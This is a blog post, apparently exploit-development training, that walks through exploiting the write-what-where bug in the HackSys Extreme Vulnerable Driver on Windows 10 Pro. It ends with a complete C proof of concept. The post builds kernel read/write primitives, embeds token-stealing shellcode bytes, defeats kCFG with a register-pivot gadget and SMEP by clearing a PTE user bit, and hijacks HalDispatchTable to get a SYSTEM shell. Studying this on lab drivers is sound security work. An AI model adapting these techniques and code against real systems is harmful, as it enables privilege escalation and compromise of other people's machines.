HEVD: Write-What-Where – Windows 10 Pro (SMEP, kCFG, kASLR)

Hi everyone,

In this blog post, I’m going to explain how to exploit a Write-What-Where vulnerability in the HEVD (HackSys Extreme Vulnerable Driver) in a Windows 10 Pro:

HackSys Extreme Vulnerable Driver

This post will be divided into four parts:

  • 1. Driver Installation
  • 2. Auxiliary Functions
  • 3. Vulnerability Identification & Exploitation
  • 4. Protection Bypasses & Shellcode Execution

I won’t go into too much detail in parts 1, 2 and 3 as my focus will be on documenting part 4, which I find the most interesting.


1. Driver Installation

I’m using two different VM’s: the debugger and the debugee. I’m not going to explain here the setup but you can find it easily in many other blog posts.

I’ll briefly explain the driver installation.

1.1 Enable Test Mode

First, on the debugee, we need to enable the Test Mode.

bcdedit /set testsigning on
shutdown /r /t 0

After the reboot, you should see something similar to this:

1.2 Driver Installation

Secondly, we install the driver, we will need these two links:

OSR Driver Loader

HEVD Releases

We open OSR Driver Loader, we setup it like this (notice that we are marking the service start as Automatic):

Then we click on “Register Service”, then on “Start Service”.

1.3 Enable HEVD Symbols

Place HEVD folder on the debugee machine!

Then:

.sympath+ C:\HEVD.3.00\driver\vulnerable\x64
.reload /f HEVD.sys

2.0 Auxiliary Functions

2.1 Find NT base address

Before exploiting the vulnerability, we are going to need a couple of things, first to identify the kernel NT base address. As I’m going to execute this from a medium integrity level cmd, I can do it using EnumDeviceDrivers function.

// NT BASE
LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {

        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

And the call:

printf("[+] Calling EnumDeviceDrivers to find NT base\n");
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);

2.2 Driver Handler

The other piece of code that I need is the one that is going to provide a handler to the driver:

// Get a Handle to the HEVD driver
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    (GENERIC_READ | GENERIC_WRITE),
    0x00,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
{
    printf("[-] Failed to get a handle on HEVD!\n");
    return -1;
}
else {
    printf("[+] Handle on HEVD received!\n");
}

3. Vulnerability Identification & Exploitation

3.1 Reversing

In IDA, I can find this block:

Going up, I can find this information:

So, I identify that the IOCTL that I need to use to reach the ArbitraryWrite is: 0x22200B.

Now that we know the IOCTL, I will quickly check in IDA:

3.2 Source code

But, it’s easier to go directly to the commented source code:
ArbitraryWrite.c

So we need a 0x10 = 16 byte buffer with the following structure:

  • [0x0 – 0x7] WHAT we want to write
  • [0x8 – 0xF] WHERE we want to write

This is a simplified diagram: (it’s going to be a bit more complex)

3.3 Vulnerability Exploitation

If we think about it, having an arbitrary write also gives us an arbitrary read. This is because we can copy the contents of something we want to read (located in kernel space) to a user-space address that we control and then read it from there.

Let’s start implementing the read, then we move to the write

3.4 Kernel Read

// KERNEL READ
ULONGLONG kernel_read(HANDLE hDriver, ULONGLONG where) {
    // 16-byte buffer layout:
    //  [0x0 - 0x7]  Address to read (target_address)
    //  [0x8 - 0xF]  Pointer to userland buffer where the kernel will write the value
    char buf[0x10];
    
    // Initializing buffer with junk
    memset(buf, 0x41, sizeof(buf));

    ULONGLONG result = 0;
    void* backup = &result; // This is a pointer to the content read
    DWORD bytesReturned = 0;

    memcpy(buf, &where, 8);        // Address we want to read from
    memcpy(buf + 8, &backup, 8);   // Where to save the result

    // Execute the driver IOCTL call
    DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL);

    return result;
}

3.5 Kernel Write

// KERNEL WRITE
void kernel_write(HANDLE hDriver, ULONGLONG where, ULONGLONG what) {
    // 16-byte buffer layout:
    //  [0x0 - 0x7]  Ptr to WHAT we want to write
    //  [0x8 - 0xF]  WHERE we want to write
    char buf[0x10];

    // Initializing buffer with junk
    memset(buf, 0x41, sizeof(buf));

    DWORD bytesReturned = 0;

    void* what_ptr = &what;

    memcpy(buf, &what_ptr, 8);   // Ptr to WHAT we want to write
    memcpy(buf + 8, &where, 8);  // WHERE we want to write

    //ULONGLONG* ptr = (ULONGLONG*)buf;
    //printf("[DEBUG] WHAT:  0x%016llx\n", ptr[0]);
    //printf("[DEBUG] WHERE: 0x%016llx\n", ptr[1]);

    // Execute the driver IOCTL call
    DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL);
}

Then, we have two functions that we can use. Let’s try them in a simple way.

We define where we want to read and write:

ULONGLONG kuser_shared_data = 0xfffff78000000000;
ULONGLONG shellcode_addr = 0xfffff78000000000 + 0x800;

We read the address:

ULONGLONG value = kernel_read(hHEVD, shellcode_addr);
printf("[+] KUSER_SHARED_DATA content:  0x%016llx\n", value);

Then, we write something into the same address:

kernel_write(hHEVD, shellcode_addr, 0x12345678);

And finnally, we read again, to see if the address content has changed:

value = kernel_read(hHEVD, shellcode_addr);
printf("[+] KUSER_SHARED_DATA content:  0x%016llx\n", value);

We execute the piece of code, and we can see that we have read and write succesfully:


4. Protection Bypasses & Shellcode Execution

So let’s recap. At this point, we have a way to read from and write to kernel-space addresses. But how can we use this to gain code execution?

The method I’m going to use is to overwrite nt!HalDispatchTable+0x08 with a ROP gadget that will jump to my shellcode. To trigger that jump, I’ll call nt!NtQueryIntervalProfile.

I’m going to organize it this way:

  • 1.Save original values of nt!HalDispatchTable
  • 2. Shellcode 1: Restore execution flow
  • 3. Shellcode 2: Token Stealing
  • 4. Shellcode 3: Auxiliary shellcode – kCFG bypass
  • 5. Shellcode Pivot
  • 6. PTE modification – SMEP bypass
  • 7. Modify HalDispatchTable
  • 8. Call NtQueryIntervalProfile
  • 9. Restore modified values
  • 10. Spawn NT/Authority System shell

4.1 Save original values of nt!HalDispatchTable

I’m going to save two values:

  1. nt!HalDispatchTable+0x08
  2. nt!HalDispatchTable+0x10

I’ll use the second one to restore the execution flow after the shellcode finishes, you’ll see how in the next step.

// 1. Save original values for HalDispatchTable
// nt!HalDispatchTable+0x08 = nt + 0xc00a68
ULONGLONG hal_dispatch_addr = (ULONGLONG)nt_base + 0xc00a68;
ULONGLONG hal_dispatch_original = kernel_read(hHEVD, hal_dispatch_addr);
printf("[+] nt!HalDispatchTable+0x08 content:  0x%016llx\n", hal_dispatch_original);
ULONGLONG hal_dispatch_original_10 = kernel_read(hHEVD, hal_dispatch_addr+0x08);
printf("[+] nt!HalDispatchTable+0x10 content:  0x%016llx\n", hal_dispatch_original_10);

4.2 Shellcode 1: Restore execution flow

As I’m going to use a jump instruction to jump to the shellcode, I can’t finish the shellcode with a return instruction.

So I decided to create this small piece of shellcode that is going to do the following:

  • mov rax, original_hal_dispatch_table + 0x10 ;
  • jmp rax ;
// 2 Create a piece of shellcode to recover execution flow
// mov rax, original_hal_dispatch_table + 0x10 ;
// jmp rax ; 
unsigned char shellcode_recovery[12] = { 0 };
memcpy(shellcode_recovery, "\x48\xB8", 2);
memcpy(shellcode_recovery + 2, &hal_dispatch_original_10, 8);
memcpy(shellcode_recovery + 10, "\xFF\xE0", 2);

In the next step, you will see how I add this piece of shellcode at the bottom of the main one.

4.3 Shellcode 2: Token Stealing

The purpose of this blog post is not to explain how a token-stealing shellcode works, so I’m going to skip that part.

What I would like to explain is that I removed the final ret instruction from the end of the shellcode. The reason is what I mentioned earlier: since I used a jump instruction to reach the shellcode, there’s no return address to go back to.

I allocated memory with PAGE_EXECUTE_READWRITE permissions and placed my shellcode there, including the shellcode_recovery part at the end.

// 3. SHELLCODE RWX
// Token stealing for current PID
// xxd.exe -i shellcode.bin
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP Padding
0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x8b, 0x80,
0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xf9, 0x04, 0x75, 0xe6, 0x4c,
0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00,
0x00
// 0xC3                                                  // ret
// SHELLCODE RECOVERY WILL BE ADDED HERE !!!
};

unsigned int shellcode_len = sizeof(shellcode) + sizeof(shellcode_recovery);  
PVOID executableShellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy main shellcode
RtlMoveMemory(executableShellcode, shellcode, sizeof(shellcode));
// Copy shellcode recovery
RtlMoveMemory((PBYTE)executableShellcode + sizeof(shellcode), shellcode_recovery, sizeof(shellcode_recovery));
printf("[+] Shellcode allocated in: 0x%llx\n", (ULONGLONG)executableShellcode);

4.4 Shellcode 3: Auxiliary shellcode – kCFG bypass

There’s a protection called Kernel Control Flow Guard. If we overwrite the HalDispatchTable with a pointer to our shellcode directly, this protection will be triggered and will prevent execution.

The first thing I had to do was understand which registers are preserved when calling nt!NtQueryIntervalProfile.

To figure this out, I set a couple of breakpoints:

ba e1 /p X nt!NtQueryIntervalProfile
ba e1 /p X nt+0x980e4d

After hitting the first breakpoint, I wrote specific values to all the general-purpose registers:

r rax=4141414141414141
r rbx=4242424242424242
r rsi=4343434343434343
r rdi=4444444444444444
r  r8=4545454545454545
r  r9=4646464646464646
r r10=4747474747474747
r r11=4848484848484848
r r12=4949494949494949
r r13=5050505050505050
r r14=5151515151515151
r r15=5252525252525252

Then, when I hit the second breakpoint, I verified that the registers still contained the values I had set.

One of the registers I can control is R13. So, I can write a shellcode that does the following:

  • mov r13, rcx ;

Then, I execute my shellcode by passing the address of my main shellcode as the first parameter (in RCX).

When I call nt!NtQueryIntervalProfile, my shellcode will store the value of RCX into R13, meaning the address of my main shellcode will now be available in R13.

// 4. AUXILIARY SHELLCODE
// SetR13.asm
// mov r13, rcx
unsigned char rawSetR13[] = {
   0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = VirtualAlloc(NULL, sizeof(rawSetR13), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(executableSetR13, rawSetR13, sizeof(rawSetR13));
printf("[>] Set R13reg allocated in: %p\n", executableSetR13);

And this is the call that I will use later, just before nt!NtQueryIntervalProfile:

((void (*)(PVOID))executableSetR13)(executableShellcode);

4.5 Shellcode Pivot

As I have my shellcode in R13, I just have to do the following:

ULONGLONG shellcode_pivot = (ULONGLONG)nt_base + 0x8033a0;     // 0x1408033a0: jmp r13 ;   

4.6 PTE modification – SMEP bypass

A PTE (Page Table Entry) is a structure used by the operating system’s memory manager to map virtual addresses to physical memory. Each PTE contains information such as the physical address of the page, access permissions (read, write, execute), and control flags.

One of these control flags is the U/S bit, which can be set to either U (User) or K (Kernel). If our page is marked as User, we can’t execute it from kernel mode, because the call originates from kernel-space, and this will be blocked by SMEP (Supervisor Mode Execution Prevention).

To bypass this protection, we need to modify the U/S bit and change it from User to Kernel.

First of all, we have this function to calculate the PTE address associated with a given memory address. It’s a mathematical calculation:

// PTE CALCULATION
ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start)
{
    ULONGLONG pte_va = address >> 9;
    pte_va = pte_va | pte_start;
    pte_va = pte_va & (pte_start + 0x0000007ffffffff8);

    return pte_va;
}

And we need to find the PTE base, is in this offset:

// 6. CALCULATE AND MODIFY PTE
// PTE Base = nt!MiGetPteAddress + 0x13
ULONGLONG pte_base_address = (ULONGLONG)nt_base + 0x33273b;
// Read PTE Base
ULONGLONG pte_base = kernel_read(hHEVD, pte_base_address);
printf("[+] PTE base:  0x%016llx\n", pte_base);

// Calculate Shellcode PTE
LONGLONG shellcode_pte_address = get_pte_address_64(ULONGLONG(executableShellcode), pte_base);
printf("[+] Shellcode PTE: %llx\n", shellcode_pte_address);

Then, we need to read the PTE value, and modify it:

// Read Shellcode PTE 
ULONGLONG shellcode_original_pte = kernel_read(hHEVD, shellcode_pte_address);
printf("[+] Shellcode PTE flags:  0x%016llx\n", shellcode_original_pte);

// Calculate new PTE flags
ULONGLONG shellcode_mod_pte = shellcode_original_pte & ~0x4;            // U/S (bit 2)
//shellcode_mod_pte &= ~(1ULL << 63);                                   // NX (bit 63)
printf("[+] U/S and NX changed: %llx\n", shellcode_mod_pte);

// Modify Shellcode PTE
printf("[+] Writing Shellcode PTE new flags\n");
kernel_write(hHEVD, shellcode_pte_address, shellcode_mod_pte);

Let’s see how ithe PTE associated to our shellcode allocated memory address looks before the change:

And will look like this after the change:

4.7 Modify HalDispatchTable

With the SMEP protection bypassed, we are ready to continue. The next step is to modify the HalDispatchTable with our shellcode pivot gadget.

// 7. MODIFY HALDISPATCHTABLE
kernel_write(hHEVD, hal_dispatch_addr, shellcode_pivot);

4.8 Call NtQueryIntervalProfile

With this piece of code we can call NtQueryIntervalProfile:

// 8. CALL TO NTQUERYINTERVALPROFILE
// Call nt!NtQueryIntervalProfile that will trigger what we placed in nt!HalDispatchTable+0x08
Sleep(1500);
// Locating nt!NtQueryIntervalProfile
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
    GetModuleHandle(
        TEXT("ntdll.dll")),
    "NtQueryIntervalProfile"
);

// Error handling
if (!NtQueryIntervalProfile)
{
    printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
    exit(1);
}
else
{
    // Print update for found ntdll!NtQueryIntervalProfile
    printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
    printf("[+] Calling  ntdll!NtQueryIntervalProfile!!!!!\n");

    printf("[>] Executing shellcode\n");
    printf("[>] Press ENTER to continue...\n");
    getchar();

    printf("[+] Calling  ntdll!NtQueryIntervalProfile!!!!!\n");
    Sleep(2000);
    // Calling nt!NtQueryIntervalProfile
    ULONG exploit = 0;
    // This function calls our small shellcode to bypass kCFG
    // We do a mov r13, rcx
    // As RCX is our shellcode because it's our first parameter, we will save it to R13
    // Then we can put a JMP R13 as our "stack pivot" in nt!HalDispatchTable+0x08
    ((void (*)(PVOID))executableSetR13)(executableShellcode);

    // Reach nt!HalDispatchTable+0x08
    NtQueryIntervalProfile(
        0x1234,
        &exploit
    );
}

Notice, that just before the call, I call the auxiliary shellcode that is going to place our shellcode address in R13.

((void (*)(PVOID))executableSetR13)(executableShellcode);
NtQueryIntervalProfile(0x1234, &exploit);

4.9 Restore modified values

When our shellcode returns, we still need to restore a couple of things to prevent a more than possible BSOD.

// 9. RESTORE
// Shellcode PTE restore
printf("[+] Restoring Shellcode PTE flags\n");
kernel_write(hHEVD, shellcode_pte_address, shellcode_original_pte);
// Restore HalDispatchTable
printf("[+] Restoring HalDispatchTable\n");
kernel_write(hHEVD, hal_dispatch_addr, hal_dispatch_original);

Spawn NT/Authority System shell

And the last thing, we have to do, is to open a new cmd.exe that is going to use the system token that we have stolen 🙂

system("start cmd.exe");

Below you can find the final code for the whole PoC. See you soon, and Happy Hacking!


#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

// I/O Request Packets (IRPs)
#define IOCTL_STACK_BUFFER_OVERFLOW 0x222003
#define IOCTL_ARBITRARY_WRITE 0x22200B

// Buffer Length
#define BUFFER_SIZE 3000

// Structure needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

extern "C" void KernelShellcode();


// NT BASE
LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {

        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

// KERNEL READ
ULONGLONG kernel_read(HANDLE hDriver, ULONGLONG where) {
    // 16-byte buffer layout:
    //  [0x0 - 0x7]  Address to read (target_address)
    //  [0x8 - 0xF]  Pointer to userland buffer where the kernel will write the value
    char buf[0x10];
    
    // Initializing buffer with junk to satisfy type error of memset
    memset(buf, 0x41, sizeof(buf));

    ULONGLONG result = 0;
    void* backup = &result; // This is a pointer to the content read
    DWORD bytesReturned = 0;

    memcpy(buf, &where, 8);        // Address we want to read from
    memcpy(buf + 8, &backup, 8);            // Where to save the result

    // Execute the driver IOCTL call
    DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL);

    return result;
}

// KERNEL WRITE
void kernel_write(HANDLE hDriver, ULONGLONG where, ULONGLONG what) {
    // 16-byte buffer layout:
    //  [0x0 - 0x7]  Ptr to WHAT we want to write
    //  [0x8 - 0xF]  WHERE we want to write
    char buf[0x10];

    // Initializing buffer with junk to satisfy type error of memset
    memset(buf, 0x41, sizeof(buf));

    DWORD bytesReturned = 0;

    void* what_ptr = &what;

    memcpy(buf, &what_ptr, 8);   // Ptr to WHAT we want to write
    memcpy(buf + 8, &where, 8);  // WHERE we want to write

    //ULONGLONG* ptr = (ULONGLONG*)buf;
    //printf("[DEBUG] WHAT:  0x%016llx\n", ptr[0]);
    //printf("[DEBUG] WHERE: 0x%016llx\n", ptr[1]);

    // Execute the driver IOCTL call
    DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL);
}

// PTE CALCULATION
ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start)
{
    ULONGLONG pte_va = address >> 9;
    pte_va = pte_va | pte_start;
    pte_va = pte_va & (pte_start + 0x0000007ffffffff8);

    return pte_va;
}

int main()
{

    printf("[+] Calling EnumDeviceDrivers to find NT base\n");
    LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
    printf("[+] NT base: %p\n", nt_base);

    // Get a Handle to the HEVD driver
    HANDLE hHEVD = NULL;
    hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        (GENERIC_READ | GENERIC_WRITE),
        0x00,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hHEVD == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to get a handle on HEVD!\n");
        return -1;
    }
    else {
        printf("[+] Handle on HEVD received!\n");
    }

    // 1. Save original values for HalDispatchTable
    // nt!HalDispatchTable+0x08 = nt + 0xc00a68
    ULONGLONG hal_dispatch_addr = (ULONGLONG)nt_base + 0xc00a68;
    ULONGLONG hal_dispatch_original = kernel_read(hHEVD, hal_dispatch_addr);
    printf("[+] nt!HalDispatchTable+0x08 content:  0x%016llx\n", hal_dispatch_original);
    ULONGLONG hal_dispatch_original_10 = kernel_read(hHEVD, hal_dispatch_addr+0x08);
    printf("[+] nt!HalDispatchTable+0x10 content:  0x%016llx\n", hal_dispatch_original_10);

    // 2 Create a piece of shellcode to recover execution flow
    // mov rax, original_hal_dispatch_table + 0x10 ;
    // jmp rax ; 
    unsigned char shellcode_recovery[12] = { 0 };
    memcpy(shellcode_recovery, "\x48\xB8", 2);
    memcpy(shellcode_recovery + 2, &hal_dispatch_original_10, 8);
    memcpy(shellcode_recovery + 10, "\xFF\xE0", 2);

    // 3. SHELLCODE RWX
    // Token stealing for current PID
    // xxd.exe -i shellcode.bin
    unsigned char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP Padding
    0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
    0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x8b, 0x80,
    0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
    0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xf9, 0x04, 0x75, 0xe6, 0x4c,
    0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00,
    0x00
    // 0xC3                                                  // ret
    // SHELLCODE RECOVERY WILL BE ADDED HERE !!!
    };

    unsigned int shellcode_len = sizeof(shellcode) + sizeof(shellcode_recovery);  
    PVOID executableShellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // Copy main shellcode
    RtlMoveMemory(executableShellcode, shellcode, sizeof(shellcode));
    // Copy shellcode recovery
    RtlMoveMemory((PBYTE)executableShellcode + sizeof(shellcode), shellcode_recovery, sizeof(shellcode_recovery));
    printf("[+] Shellcode allocated in: 0x%llx\n", (ULONGLONG)executableShellcode);

    // 4. AUXILIARY SHELLCODE
    // SetR13.asm
    // mov r13, rcx
    unsigned char rawSetR13[] = {
        0x49, 0x89, 0xcd, 0xc3
    };
    PVOID executableSetR13 = VirtualAlloc(NULL, sizeof(rawSetR13), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(executableSetR13, rawSetR13, sizeof(rawSetR13));
    printf("[>] Set R13reg allocated in: %p\n", executableSetR13);

    // 5. SHELLCODE PIVOT
    ULONGLONG shellcode_pivot = (ULONGLONG)nt_base + 0x8033a0;     // 0x1408033a0: jmp r13 ;   

    printf("[>] Press ENTER to continue...\n");
    getchar();

    // 6. CALCULATE AND MODIFY PTE
    // PTE Base = nt!MiGetPteAddress + 0x13
    ULONGLONG pte_base_address = (ULONGLONG)nt_base + 0x33273b;
    
    // Read PTE Base
    ULONGLONG pte_base = kernel_read(hHEVD, pte_base_address);
    printf("[+] PTE base:  0x%016llx\n", pte_base);
    
    // Calculate Shellcode PTE
    LONGLONG shellcode_pte_address = get_pte_address_64(ULONGLONG(executableShellcode), pte_base);
    printf("[+] Shellcode PTE: %llx\n", shellcode_pte_address);
    
    // Read Shellcode PTE 
    ULONGLONG shellcode_original_pte = kernel_read(hHEVD, shellcode_pte_address);
    printf("[+] Shellcode PTE flags:  0x%016llx\n", shellcode_original_pte);

    // Calculate new PTE flags
    ULONGLONG shellcode_mod_pte = shellcode_original_pte & ~0x4;            // U/S (bit 2)
    //shellcode_mod_pte &= ~(1ULL << 63);                                   // NX (bit 63)
    printf("[+] U/S and NX changed: %llx\n", shellcode_mod_pte);

    // Modify Shellcode PTE
    printf("[+] Writing Shellcode PTE new flags\n");
    kernel_write(hHEVD, shellcode_pte_address, shellcode_mod_pte);

    // 7. MODIFY HALDISPATCHTABLE
    kernel_write(hHEVD, hal_dispatch_addr, shellcode_pivot);


    // 8. CALL TO NTQUERYINTERVALPROFILE
    // Call nt!NtQueryIntervalProfile that will trigger what we placed in nt!HalDispatchTable+0x08
    Sleep(1500);
    // Locating nt!NtQueryIntervalProfile
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
        GetModuleHandle(
            TEXT("ntdll.dll")),
        "NtQueryIntervalProfile"
    );

    // Error handling
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
        exit(1);
    }
    else
    {
        // Print update for found ntdll!NtQueryIntervalProfile
        printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
        printf("[+] Calling  ntdll!NtQueryIntervalProfile!!!!!\n");

        printf("[>] Executing shellcode\n");
        printf("[>] Press ENTER to continue...\n");
        getchar();

        printf("[+] Calling  ntdll!NtQueryIntervalProfile!!!!!\n");
        Sleep(2000);
        // Calling nt!NtQueryIntervalProfile
        ULONG exploit = 0;
        // This function calls our small shellcode to bypass kCFG
        // We do a mov r13, rcx
        // As RCX is our shellcode because it's our first parameter, we will save it to R13
        // Then we can put a JMP R13 as our "stack pivot" in nt!HalDispatchTable+0x08
        ((void (*)(PVOID))executableSetR13)(executableShellcode);

        // Reach nt!HalDispatchTable+0x08
        NtQueryIntervalProfile(
            0x1234,
            &exploit
        );
    }


    // 9. RESTORE
    // Shellcode PTE restore
    printf("[+] Restoring Shellcode PTE flags\n");
    kernel_write(hHEVD, shellcode_pte_address, shellcode_original_pte);
    // Restore HalDispatchTable
    printf("[+] Restoring HalDispatchTable\n");
    kernel_write(hHEVD, hal_dispatch_addr, hal_dispatch_original);
   
    system("start cmd.exe");

	return 0;
}
This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *